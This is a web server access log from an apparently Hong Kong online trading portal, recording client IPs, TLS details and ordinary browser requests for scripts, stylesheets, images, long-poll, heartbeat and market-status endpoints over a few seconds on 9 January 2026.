[09/Jan/2026:09:44:58 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923367060 HTTP/1.1" -
[09/Jan/2026:09:44:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923382522 HTTP/1.1" -
[09/Jan/2026:09:44:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:44:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923371074 HTTP/1.1" -
[09/Jan/2026:09:44:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923369838 HTTP/1.1" -
[09/Jan/2026:09:45:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923370292 HTTP/1.1" -
[09/Jan/2026:09:45:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923387585 HTTP/1.1" -
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:09:45:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923376199 HTTP/1.1" -
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:45:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923373056 HTTP/1.1" -
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 89
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767923373824 HTTP/1.1" 3188
[09/Jan/2026:09:45:04 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:09:45:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923374889 HTTP/1.1" -
[09/Jan/2026:09:45:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 131
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/tc/dialog.html HTTP/1.1" 3188
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apple-touch-icon-precomposed.png HTTP/1.1" 196
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apple-touch-icon.png HTTP/1.1" 196
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:06 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 698
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
